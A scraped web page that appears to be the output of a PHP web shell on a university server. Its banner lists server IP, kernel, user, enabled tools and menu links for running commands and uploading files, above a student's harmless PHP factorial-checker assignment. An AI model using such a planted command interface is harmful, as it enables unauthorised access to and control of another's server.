Server IP : 172.16.15.8 / Your IP : 3.144.25.248 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/vgmiller/public_html/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<!-- Author: Valerie Miller Instructor: Dr. Wang File Name: CalFactP.php Due Date: April 10, 2018 Goal: --> <CENTER> <H2> Factorial Calculator Results </H2> <HR> <?php $num = $_POST['num']; if ((is_numeric($num))&&($num>=0)) { print "Factorial value is possible"; } else if ($num<0) { print "<CENTER> Input must be a positive numerical value.<BR></CENTER>"; print "<CENTER> <A HREF=CalFactForm.html> Return to homepage </A></CENTER>"; } else { print "<CENTER> Input must be a numerical value.<BR></CENTER>"; print "<CENTER> <A HREF=CalFactForm.html> Return to homepage </A></CENTER>"; } ?> </CENTER>